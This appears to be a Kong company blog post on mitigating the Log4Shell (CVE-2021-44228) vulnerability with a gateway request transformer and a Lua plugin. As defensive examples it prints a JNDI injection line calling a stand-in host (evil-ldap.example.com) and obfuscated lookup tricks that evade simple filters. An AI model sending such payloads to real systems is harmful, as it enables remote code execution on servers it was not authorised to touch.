If you've been online at all this week, chances are that you've heard about the Log4Shell zero-day ([CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228)CVE-2021-44228) in Log4J, a popular Java logging library. The vulnerability enables Remote Code Execution (RCE), which allows attackers to run arbitrary code on the target's machines.

I know the first question that you all have is: "Is Kong affected by Log4Shell?" Let's start with the good news: **No Kong products are affected by this Log4J vulnerability**. Our products are built with multiple languages, including Lua, C++, Go and Nodejs, but no Java.

That's a great starting point, but we wanted to ensure that not only were our products not impacted, but none of our internal systems (such as our build servers) were either. We do run some Java software at Kong, but we've run an audit and concluded that **no systems have been impacted**.

Now that we've established that the supply chain hasn't been tampered with, let's move on to the next pressing question: "Can Kong help me detect and prevent Log4Shell?". The short answer is **yes**! Keep reading to learn how to use Kong Gateway to mitigate Log4Shell attacks on your own applications.

## Block Log4Shell With Kong's Request Transformer Plugin

The [Request Transformer plugin](https://docs.konghq.com/hub/kong-inc/request-transformer)Request Transformer plugin that is available in both the OSS and Enterprise versions of Kong Gateway is the first option to help mitigate the Log4Shell vulnerability.

Request Transformer allows you to manipulate requests before they are passed to your upstream service. Here's an example of how to remove the string jndi from the Referer header before it's passed upstream:

curl -X POST localhost:8001/services/<service_name>/plugins -H "Content-Type: application/json" --data '{"name": "request-transformer", "config": {"replace": { "headers": ["Referer:$((function()return (headers.Referer or \"\"):gsub(\"jndi\",\"disabled\")end)())"] } }}'

This helps insulate us from the most basic form of this attack -- when the string is passed directly in the Referer header. It helps us prevent attacks similar to this:

curl -H 'Referer: ${jndi:ldap://evil-ldap.example.com:80/callback}' example.com

Once the Request Transformer plugin has run, the Referer header upstream will contain ${disabled:ldap://evil-ldap.example.com:80/callback}, preventing the vulnerability.

Unfortunately for us, attackers are getting quite imaginative and are sending vulnerable payloads in several headers, and with lots of different obfuscation methods.

Whilst you could build a Request Transformer configuration that blocks every single one of these attacks, it would become hard to manage very quickly. Luckily, there's another way! Using the power of Kong's plugin system, we can build a custom plugin to block malicious requests.

## Block Log4Shell With a Kong Plugin

Kong's plugin system allows you to run code written in Lua, JavaScript or Go before passing the request to an upstream server. In this example, we'll be using Lua to normalize all of the request headers and sanitize them.

In this section, we'll be showing a Kong [plugin](https://github.com/brentos/kong-plugin-log4shell)plugin built by Brent Yarger, a field engineer at Kong.

*The community's understanding of Log4Shell is constantly evolving. The example shared blocks all of the vectors that we're aware of today, but should not be considered comprehensive. Please do your own due diligence before deploying any solution.*

Many of the obfuscation techniques rely on string interpolation capabilities such as making a string uppercase or lowercase. All of the following will output the letter d in the log message once the substitutions have been completed:

• - ${lower:d}
• - ${upper:d}
• - ${env:MISSING:-d}
• - ${::-d}

We can use Lua to [resolve these substitutions](https://github.com/brentos/kong-plugin-log4shell/blob/535abf7887aa9321111cb90e60aa0a7267faca26/kong/plugins/log4shell/handler.lua#L25-L28)resolve these substitutions ourselves, which would convert ${lower:j}${upper:n}${::-d}${env:MISSING:-I}: to jndi:. At this point, we can check if the header contains jndi: and [return a HTTP 403](https://github.com/brentos/kong-plugin-log4shell/blob/535abf7887aa9321111cb90e60aa0a7267faca26/kong/plugins/log4shell/handler.lua#L29-L31)return a HTTP 403 if so.

The final thing to note is that the plugin [iterates through all headers](https://github.com/brentos/kong-plugin-log4shell/blob/535abf7887aa9321111cb90e60aa0a7267faca26/kong/plugins/log4shell/handler.lua#L38)iterates through all headers found in the request. This prevents the need to maintain a list of headers to check manually.

## One More Thing!

We've shown you how to mitigate any attacks so far, but how do you know if your application is vulnerable at all?

To help you out, we've created an Insomnia collection containing sample requests using the lower, upper, env and default substitutions shown above. Click on the button below to import it into your Insomnia workspace:

[](https://insomnia.rest/run/?label=LOG4SHELL%20TESTER&uri=https%3A%2F%2Fgist.githubusercontent.com%2Fmheap%2F00edc9226ec09cff259582562e5c5f0a%2Fraw%2Fdca4db0a2fb2f0aaad45467cbe8081e4c146a2de%2Flog4shell.json)

Once you've imported it, you'll need to edit the environment and provide a value for the exfiltrate variable. This is the hostname where the data will be sent to. I've used [interactsh](https://app.interactsh.com/#)interactsh whilst testing.

If you'd like to try out the collection but don't want to test against production systems (I don't blame you!), you can use the [log4jpwn](https://github.com/leonjza/log4jpwn)log4jpwn project on GitHub to build a Docker containing that exposes a vulnerable service.

## Let's Recap

To wrap this up, let's recap what we learned today:

• - Log4Shell is a remote code execution vulnerability in Log4J, a popular Java logging library
• - No Kong products are affected by Log4Shell
• - No systems in the Kong supply chain are vulnerable to Log4Shell
• - You can mitigate Log4Shell using a custom Kong Gateway plugin
• - There's an Insomnia collection available to help you test your own applications

Phew! That's a ton of stuff for such a short blog post. Good luck as you work on securing your infrastructure, and don't hesitate to ask if you have any more questions related to Kong's products.